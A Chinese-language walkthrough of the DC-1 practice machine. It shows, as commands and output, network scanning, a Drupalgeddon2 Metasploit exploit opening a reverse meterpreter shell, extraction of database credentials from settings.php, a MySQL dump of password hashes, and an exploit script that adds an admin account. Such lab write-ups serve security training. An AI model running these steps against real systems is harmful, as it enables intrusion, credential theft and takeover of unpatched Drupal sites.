DC-1靶机渗透测试记录
攻击机 kali-linux-2020.4-vbox-i386 设置 USB设备关闭，网络连接方式仅主机（Host-Only）网络。
攻击机IP 192.168.56.103
步骤1 靶机目标发现
因为靶机和攻击机在同一个网络内，所以使用KALI上arp-scan -l 进行扫描。扫描确定了靶机的IP是192.168.56.102。
┌──(root??kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:83:cd:26, IPv4: 192.168.56.103
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:14 (Unknown: locally administered)
192.168.56.100 08:00:27:03:d6:2e PCS Systemtechnik GmbH
192.168.56.100 08:00:27:ec:2e:b6 PCS Systemtechnik GmbH (DUP: 2)
192.168.56.102 08:00:27:ab:b3:05 PCS Systemtechnik GmbH
192.168.56.115 08:00:27:2b:13:12 PCS Systemtechnik GmbH
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.106 seconds (121.56 hosts/sec). 5 responded找到靶机的IP为192.168.56.102后，对该主机进行端口扫描，查看开了哪些端口以及端口其他信息。
┌──(root??kali)-[~]
└─# nmap -sS -p- -A 192.168.56.102
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-17 22:15 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.00068s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36135/udp status
| 100024 1 36754/tcp status
| 100024 1 42863/tcp6 status
|_ 100024 1 52263/udp6 status
36754/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:AB:B3:05 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.68 ms 192.168.56.102
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.45 seconds
步骤2 漏洞利用
注意到80端口是开放的，所以关注到http://192.168.56.102网页。
注意到页面上有"Drupal Site"的字样，便尝试用metasploit查找一下有没有可以利用的已知漏洞。经过反复尝试，找到drupal_drupalgeddon2 可以利用成功。
┌──(root??kali)-[~]
└─# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v6.0.15-dev ]
+ -- --=[ 2071 exploits - 1123 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: You can use help to view all available commands
msf6 > search Drupal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal OpenID External Entity Injection
1 auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module Users Enumeration
2 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
3 exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module Remote Command Execution
4 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
5 exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module Remote PHP Code Execution
6 exploit/unix/webapp/drupal_restws_unserialize 2019-02-20 normal Yes Drupal RESTful Web Services unserialize() RCE
7 exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution
Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 192.168.56.103:4444
[*] Sending stage (39282 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.103:4444 -> 192.168.56.102:40395) at 2020-12-17 22:36:21 -0500
meterpreter >
步骤3 找到flag1
看样子应该漏洞利用成功了，我们看看现在是什么目录，我们能不能访问靶机目录下的文件。找到了flag1.txt，里面的意思是提醒我要关注配置文件。
meterpreter > pwd
/var/www
meterpreter > ls
Listing: /var/www
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 174 fil 2013-11-20 15:45:59 -0500 .gitignore
100644/rw-r--r-- 5767 fil 2013-11-20 15:45:59 -0500 .htaccess
100644/rw-r--r-- 1481 fil 2013-11-20 15:45:59 -0500 COPYRIGHT.txt
100644/rw-r--r-- 1451 fil 2013-11-20 15:45:59 -0500 INSTALL.mysql.txt
100644/rw-r--r-- 1874 fil 2013-11-20 15:45:59 -0500 INSTALL.pgsql.txt
100644/rw-r--r-- 1298 fil 2013-11-20 15:45:59 -0500 INSTALL.sqlite.txt
100644/rw-r--r-- 17861 fil 2013-11-20 15:45:59 -0500 INSTALL.txt
100755/rwxr-xr-x 18092 fil 2013-11-01 06:14:15 -0400 LICENSE.txt
100644/rw-r--r-- 8191 fil 2013-11-20 15:45:59 -0500 MAINTAINERS.txt
100644/rw-r--r-- 5376 fil 2013-11-20 15:45:59 -0500 README.txt
100644/rw-r--r-- 9642 fil 2013-11-20 15:45:59 -0500 UPGRADE.txt
100644/rw-r--r-- 6604 fil 2013-11-20 15:45:59 -0500 authorize.php
100644/rw-r--r-- 720 fil 2013-11-20 15:45:59 -0500 cron.php
100644/rw-r--r-- 52 fil 2019-02-19 08:20:46 -0500 flag1.txt
40755/rwxr-xr-x 4096 dir 2013-11-20 15:45:59 -0500 includes
100644/rw-r--r-- 529 fil 2013-11-20 15:45:59 -0500 index.php
100644/rw-r--r-- 703 fil 2013-11-20 15:45:59 -0500 install.php
40755/rwxr-xr-x 4096 dir 2013-11-20 15:45:59 -0500 misc
40755/rwxr-xr-x 4096 dir 2013-11-20 15:45:59 -0500 modules
40755/rwxr-xr-x 4096 dir 2013-11-20 15:45:59 -0500 profiles
100644/rw-r--r-- 1561 fil 2013-11-20 15:45:59 -0500 robots.txt
40755/rwxr-xr-x 4096 dir 2013-11-20 15:45:59 -0500 scripts
40755/rwxr-xr-x 4096 dir 2013-11-20 15:45:59 -0500 sites
40755/rwxr-xr-x 4096 dir 2013-11-20 15:45:59 -0500 themes
100644/rw-r--r-- 19941 fil 2013-11-20 15:45:59 -0500 update.php
100644/rw-r--r-- 2178 fil 2013-11-20 15:45:59 -0500 web.config
100644/rw-r--r-- 417 fil 2013-11-20 15:45:59 -0500 xmlrpc.php
meterpreter > cat flag1.txt
Every good CMS needs a config file - and so do you.步骤4 flag2获取
那就按照flag1的提示找找配置文件吧。
找啊找，找到数据库的配置文件看到flag2，同时也发现有明文显示的数据账号密码。
meterpreter > pwd
/var/www/sites/default
meterpreter > cat settings.php
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
/**
* Access control for update.php script.
*
* If you are updating your Drupal installation using the update.php script but
* are not logged in using either an account with the "Administer software
* updates" permission or the site maintenance account (the account that was
* created during installation), you will need to modify the access check
* statement below. Change the FALSE to a TRUE to disable the access check.
* After finishing the upgrade, be sure to open this file again and change the
* TRUE back to a FALSE!
*/
$update_free_access = FALSE;
/**
* Salt for one-time login links and cancel links, form tokens, etc.
*
* This variable will be set to a random value by the installer. All one-time
* login links will be invalidated if the value is changed. Note that if your
* site is deployed on a cluster of web servers, you must ensure that this
* variable has the same value on each server. If this variable is empty, a hash
* of the serialized database credentials will be used as a fallback salt.
*
* For enhanced security, you may set this variable to a value using the
* contents of a file outside your docroot that is never saved together
* with any backups of your Drupal files and database.
*
* Example:
* $drupal_hash_salt = file_get_contents('/home/example/salt.txt');
*
*/
$drupal_hash_salt = 'X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs';
/**
* Base URL (optional).
*
* If Drupal is generating incorrect URLs on your site, which could
* be in HTML headers (links to CSS and JS files) or visible links on pages
* (such as in menus), uncomment the Base URL statement below (remove the
* leading hash sign) and fill in the absolute URL to your Drupal installation.
*
* You might also want to force users to use a given domain.
* See the .htaccess file for more information.
*
* Examples:
* $base_url = 'http://www.example.com';
* $base_url = 'http://www.example.com:8888';
* $base_url = 'http://www.example.com/drupal';
* $base_url = 'https://www.example.com:8888/drupal';
*
* It is not allowed to have a trailing slash; Drupal will add it
* for you.
*/
# $base_url = 'http://www.example.com'; // NO trailing slash!
/**
* PHP settings:
*
* To see what PHP settings are possible, including whether they can be set at
* runtime (by using ini_set()), read the PHP documentation:
* http://www.php.net/manual/en/ini.list.php
* See drupal_environment_initialize() in includes/bootstrap.inc for required
* runtime settings and the .htaccess file for non-runtime settings. Settings
* defined there should not be duplicated here so as to avoid conflict issues.
*/
/**
* Some distributions of Linux (most notably Debian) ship their PHP
* installations with garbage collection (gc) disabled. Since Drupal depends on
* PHP's garbage collection for clearing sessions, ensure that garbage
* collection occurs by using the most common settings.
*/
ini_set('session.gc_probability', 1);
ini_set('session.gc_divisor', 100);
/**
* Set session lifetime (in seconds), i.e. the time from the user's last visit
* to the active session may be deleted by the session garbage collector. When
* a session is deleted, authenticated users are logged out, and the contents
* of the user's $_SESSION variable is discarded.
*/
ini_set('session.gc_maxlifetime', 200000);
/**
* Set session cookie lifetime (in seconds), i.e. the time from the session is
* created to the cookie expires, i.e. when the browser is expected to discard
* the cookie. The value 0 means "until the browser is closed".
*/
ini_set('session.cookie_lifetime', 2000000);
/**
* If you encounter a situation where users post a large amount of text, and
* the result is stripped out upon viewing but can still be edited, Drupal's
* output filter may not have sufficient memory to process it. If you
* experience this issue, you may wish to uncomment the following two lines
* and increase the limits of these variables. For more information, see
* http://php.net/manual/en/pcre.configuration.php.
*/
# ini_set('pcre.backtrack_limit', 200000);
# ini_set('pcre.recursion_limit', 200000);
/**
* Drupal automatically generates a unique session cookie name for each site
* based on its full domain name. If you have multiple domains pointing at the
* same Drupal site, you can either redirect them all to a single domain (see
* comment in .htaccess), or uncomment the line below and specify their shared
* base domain. Doing so assures that users remain logged in as they cross
* between your various domains. Make sure to always start the $cookie_domain
* with a leading dot, as per RFC 2109.
*/
# $cookie_domain = '.example.com';
/**
* Variable overrides:
*
* To override specific entries in the 'variable' table for this site,
* set them here. You usually don't need to use this feature. This is
* useful in a configuration file for a vhost or directory, rather than
* the default settings.php. Any configuration setting from the 'variable'
* table can be given a new value. Note that any values you provide in
* these variable overrides will not be modifiable from the Drupal
* administration interface.
*
* The following overrides are examples:
* - site_name: Defines the site's name.
* - theme_default: Defines the default theme for this site.
* - anonymous: Defines the human-readable name of anonymous users.
* Remove the leading hash signs to enable.
*/
# $conf['site_name'] = 'My Drupal site';
# $conf['theme_default'] = 'garland';
# $conf['anonymous'] = 'Visitor';
/**
* A custom theme can be set for the offline page. This applies when the site
* is explicitly set to maintenance mode through the administration page or when
* the database is inactive due to an error. It can be set through the
* 'maintenance_theme' key. The template file should also be copied into the
* theme. It is located inside 'modules/system/maintenance-page.tpl.php'.
* Note: This setting does not apply to installation and update pages.
*/
# $conf['maintenance_theme'] = 'bartik';
/**
* Reverse Proxy Configuration:
*
* Reverse proxy servers are often used to enhance the performance
* of heavily visited sites and may also provide other site caching,
* security, or encryption benefits. In an environment where Drupal
* is behind a reverse proxy, the real IP address of the client should
* be determined such that the correct client IP address is available
* to Drupal's logging, statistics, and access management systems. In
* the most simple scenario, the proxy server will add an
* X-Forwarded-For header to the request that contains the client IP
* address. However, HTTP headers are vulnerable to spoofing, where a
* malicious client could bypass restrictions by setting the
* X-Forwarded-For header directly. Therefore, Drupal's proxy
* configuration requires the IP addresses of all remote proxies to be
* specified in $conf['reverse_proxy_addresses'] to work correctly.
*
* Enable this setting to get Drupal to determine the client IP from
* the X-Forwarded-For header (or $conf['reverse_proxy_header'] if set).
* If you are unsure about this setting, do not have a reverse proxy,
* or Drupal operates in a shared hosting environment, this setting
* should remain commented out.
*
* In order for this setting to be used you must specify every possible
* reverse proxy IP address in $conf['reverse_proxy_addresses'].
* If a complete list of reverse proxies is not available in your
* environment (for example, if you use a CDN) you may set the
* $_SERVER['REMOTE_ADDR'] variable directly in settings.php.
* Be aware, however, that it is likely that this would allow IP
* address spoofing unless more advanced precautions are taken.
*/
# $conf['reverse_proxy'] = TRUE;
/**
* Specify every reverse proxy IP address in your environment.
* This setting is required if $conf['reverse_proxy'] is TRUE.
*/
# $conf['reverse_proxy_addresses'] = array('a.b.c.d', ...);
/**
* Set this value if your proxy server sends the client IP in a header
* other than X-Forwarded-For.
*/
# $conf['reverse_proxy_header'] = 'HTTP_X_CLUSTER_CLIENT_IP';
/**
* Page caching:
*
* By default, Drupal sends a "Vary: Cookie" HTTP header for anonymous page
* views. This tells a HTTP proxy that it may return a page from its local
* cache without contacting the web server, if the user sends the same Cookie
* header as the user who originally requested the cached page. Without "Vary:
* Cookie", authenticated users would also be served the anonymous page from
* the cache. If the site has mostly anonymous users except a few known
* editors/administrators, the Vary header can be omitted. This allows for
* better caching in HTTP proxies (including reverse proxies), i.e. even if
* clients send different cookies, they still get content served from the cache.
* However, authenticated users should access the site directly (i.e. not use an
* HTTP proxy, and bypass the reverse proxy if one is used) in order to avoid
* getting cached pages from the proxy.
*/
# $conf['omit_vary_cookie'] = TRUE;
/**
* CSS/JS aggregated file gzip compression:
*
* By default, when CSS or JS aggregation and clean URLs are enabled Drupal will
* store a gzip compressed (.gz) copy of the aggregated files. If this file is
* available then rewrite rules in the default .htaccess file will serve these
* files to browsers that accept gzip encoded content. This allows pages to load
* faster for these users and has minimal impact on server load. If you are
* using a webserver other than Apache httpd, or a caching reverse proxy that is
* configured to cache and compress these files itself you may want to uncomment
* one or both of the below lines, which will prevent gzip files being stored.
*/
# $conf['css_gzip_compression'] = FALSE;
# $conf['js_gzip_compression'] = FALSE;
/**
* String overrides:
*
* To override specific strings on your site with or without enabling the Locale
* module, add an entry to this list. This functionality allows you to change
* a small number of your site's default English language interface strings.
*
* Remove the leading hash signs to enable.
*/
# $conf['locale_custom_strings_en'][''] = array(
# 'forum' => 'Discussion board',
# '@count min' => '@count minutes',
# );
/**
*
* IP blocking:
*
* To bypass database queries for denied IP addresses, use this setting.
* Drupal queries the {blocked_ips} table by default on every page request
* for both authenticated and anonymous users. This allows the system to
* block IP addresses from within the administrative interface and before any
* modules are loaded. However on high traffic websites you may want to avoid
* this query, allowing you to bypass database access altogether for anonymous
* users under certain caching configurations.
*
* If using this setting, you will need to add back any IP addresses which
* you may have blocked via the administrative interface. Each element of this
* array represents a blocked IP address. Uncommenting the array and leaving it
* empty will have the effect of disabling IP blocking on your site.
*
* Remove the leading hash signs to enable.
*/
# $conf['blocked_ips'] = array(
# 'a.b.c.d',
# );
/**
* Fast 404 pages:
*
* Drupal can generate fully themed 404 pages. However, some of these responses
* are for images or other resource files that are not displayed to the user.
* This can waste bandwidth, and also generate server load.
*
* The options below return a simple, fast 404 page for URLs matching a
* specific pattern:
* - 404_fast_paths_exclude: A regular expression to match paths to exclude,
* such as images generated by image styles, or dynamically-resized images.
* If you need to add more paths, you can add '|path' to the expression.
* - 404_fast_paths: A regular expression to match paths that should return a
* simple 404 page, rather than the fully themed 404 page. If you don't have
* any aliases ending in htm or html you can add '|s?html?' to the expression.
* - 404_fast_html: The html to return for simple 404 pages.
*
* Add leading hash signs if you would like to disable this functionality.
*/
$conf['404_fast_paths_exclude'] = '/\/(?:styles)\//';
$conf['404_fast_paths'] = '/\.(?:txt|png|gif|jpe?g|css|js|ico|swf|flv|cgi|bat|pl|dll|exe|asp)$/i';
$conf['404_fast_html'] = '404 Not Found Not Found
The requested URL "@path" was not found on this server.
';
/**
* By default the page request process will return a fast 404 page for missing
* files if they match the regular expression set in '404_fast_paths' and not
* '404_fast_paths_exclude' above. 404 errors will simultaneously be logged in
* the Drupal system log.
*
* You can choose to return a fast 404 page earlier for missing pages (as soon
* as settings.php is loaded) by uncommenting the line below. This speeds up
* server response time when loading 404 error pages and prevents the 404 error
* from being logged in the Drupal system log. In order to prevent valid pages
* such as image styles and other generated content that may match the
* '404_fast_html' regular expression from returning 404 errors, it is necessary
* to add them to the '404_fast_paths_exclude' regular expression above. Make
* sure that you understand the effects of this feature before uncommenting the
* line below.
*/
# drupal_fast_404();
/**
* External access proxy settings:
*
* If your site must access the Internet via a web proxy then you can enter
* the proxy settings here. Currently only basic authentication is supported
* by using the username and password variables. The proxy_user_agent variable
* can be set to NULL for proxies that require no User-Agent header or to a
* non-empty string for proxies that limit requests to a specific agent. The
* proxy_exceptions variable is an array of host names to be accessed directly,
* not via proxy.
*/
# $conf['proxy_server'] = '';
# $conf['proxy_port'] = 8080;
# $conf['proxy_username'] = '';
# $conf['proxy_password'] = '';
# $conf['proxy_user_agent'] = '';
# $conf['proxy_exceptions'] = array('127.0.0.1', 'localhost');
/**
* Authorized file system operations:
*
* The Update manager module included with Drupal provides a mechanism for
* site administrators to securely install missing updates for the site
* directly through the web user interface. On securely-configured servers,
* the Update manager will require the administrator to provide SSH or FTP
* credentials before allowing the installation to proceed; this allows the
* site to update the new files as the user who owns all the Drupal files,
* instead of as the user the webserver is running as. On servers where the
* webserver user is itself the owner of the Drupal files, the administrator
* will not be prompted for SSH or FTP credentials (note that these server
* setups are common on shared hosting, but are inherently insecure).
*
* Some sites might wish to disable the above functionality, and only update
* the code directly via SSH or FTP themselves. This setting completely
* disables all functionality related to these authorized file operations.
*
* @see http://drupal.org/node/244924
*
* Remove the leading hash signs to disable.
*/
# $conf['allow_authorize_operations'] = FALSE;步骤5 数据库内搜索
尝试用用获得的账号和密码登陆靶机数据库。注意到该靶机是支持python2.7的。因为执行了“python -c "import pty;pty.spawn('/bin/bash')”便于交互输入。
meterpreter > shell
Process 4998 created.
Channel 3 created.
python -c "import pty;pty.spawn('/bin/bash')"
www-data@DC-1:/var/www/sites/default$ mysql -u dbuser -pR0ck3t
mysql -u dbuser -pR0ck3t
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8555
Server version: 5.5.60-0+deb7u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>成功进入数据库了，下面在数据库里搜索信息
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| drupaldb |
+--------------------+
2 rows in set (0.00 sec)
mysql> use drupaldb
use drupaldb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+-----------------------------+
| Tables_in_drupaldb |
+-----------------------------+
| actions |
| authmap |
| batch |
| block |
| block_custom |
| block_node_type |
| block_role |
| blocked_ips |
| cache |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
| cache_update |
| cache_views |
| cache_views_data |
| comment |
| ctools_css_cache |
| ctools_object_cache |
| date_format_locale |
| date_format_type |
| date_formats |
| field_config |
| field_config_instance |
| field_data_body |
| field_data_comment_body |
| field_data_field_image |
| field_data_field_tags |
| field_revision_body |
| field_revision_comment_body |
| field_revision_field_image |
| field_revision_field_tags |
| file_managed |
| file_usage |
| filter |
| filter_format |
| flood |
| history |
| image_effects |
| image_styles |
| menu_custom |
| menu_links |
| menu_router |
| node |
| node_access |
| node_comment_statistics |
| node_revision |
| node_type |
| queue |
| rdf_mapping |
| registry |
| registry_file |
| role |
| role_permission |
| search_dataset |
| search_index |
| search_node_links |
| search_total |
| semaphore |
| sequences |
| sessions |
| shortcut_set |
| shortcut_set_users |
| system |
| taxonomy_index |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| taxonomy_vocabulary |
| url_alias |
| users |
| users_roles |
| variable |
| views_display |
| views_view |
| watchdog |
+-----------------------------+
80 rows in set (0.00 sec)查看所有的表，对名为users表比较感兴趣。查看表内数据希望能发现可用于登陆的账号密码。
mysql> select * from users;
select * from users;
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| uid | name | pass | mail | theme | signature | signature_format | created | access | login | status | timezone | language | picture | init | data |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| 0 | | | | | | NULL | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | [email protected] | | | NULL | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | | 0 | [email protected] | b:0; |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | [email protected] | | | filtered_html | 1550581952 | 1550582225 | 1550582225 | 1 | Australia/Melbourne | | 0 | [email protected] | b:0; |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
3 rows in set (0.00 sec)发现用户的密码用不知名方法加密了，这咋办？是不是有办法可以增加一个用户呢？msf是个好工具，我们要充分利用它。果然找到了可以增加用户的漏洞利用方法。
┌──(root??kali)-[~]
└─# msfconsole 127 ?
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=[ metasploit v6.0.15-dev ]
+ -- --=[ 2071 exploits - 1123 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: You can use help to view all available commands
msf6 > searchsploit drupal
[*] exec: searchsploit drupal
------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------- ---------------------------------
Drupal 4.0 - News Message HTML Injection | php/webapps/21863.txt
Drupal 4.1/4.2 - Cross-Site Scripting | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution | php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection | php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector | php/webapps/4510.txt
Drupal 5.21/6.16 - Denial of Service | php/dos/10826.sh
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities | php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution | php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution | php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities | php/webapps/33706.txt
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure | php/webapps/44501.txt
Drupal Module Ajax Checklist 5.x-1.0 - Multiple SQL Injections | php/webapps/32415.txt
Drupal Module CAPTCHA - Security Bypass | php/webapps/35335.html
Drupal Module CKEditor 3.0 < 3.6.2 - Persistent EventHandler Cross-Site Scripting | php/webapps/18389.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting | php/webapps/25493.txt
Drupal Module CODER 2.5 - Remote Command Execution (Metasploit) | php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting | php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary File Upload | php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/Media: Audio Flotsam - Multiple Vulnerabi | php/webapps/35072.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting | php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection | php/webapps/33410.txt
------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
注意到有这一行
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | php/webapps/34992.py好家伙，竟然可以增加admin用户。那就增加adminadd/adminadd吧。
┌──(root??kali)-[~]
└─# python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.56.102 -u adminadd -p adminadd
______ __ _______ ___ ____ _____
| _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
|. | \| _| | | _ | _ | | |___| _|___ | |.| |
|. | |__| |_____| __|___._|__| / |___(_ _ `-|. |
|: 1 / |__| | | |: 1 | |: |
|::.. . / | | |::. . . | |::.|
`------' `---' `--- ----' `---'
_______ __ ___ __ __ _ _
| _ .-----| | | .-----|__.-----.----| |_|_ _.-----.-----.
| 1___| _ | | |. | | | -__| __| _| | _ | |
|____ |__ |__| |. |__|__| |_____|____|____|_ _|_____|__|__|
|: 1 | |__| |: | |___|
|::.. . | |::.|
`-------' `---'
Drup4l => 7.0 <= 7.3 1 Sql-1nj3ct10n
Admin 4 cc0unt cr3at0r
Discovered by:
Stefan Horst
(CVE-2014-3704)
Written by:
Claudio Viviani
http://www.homelab.it
[email protected]
[email protected]
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exi cCe_DjlBww
[!] VULNERABLE!
[!] Administrator user created!
[*] Login: adminadd
[*] Pass: adminadd
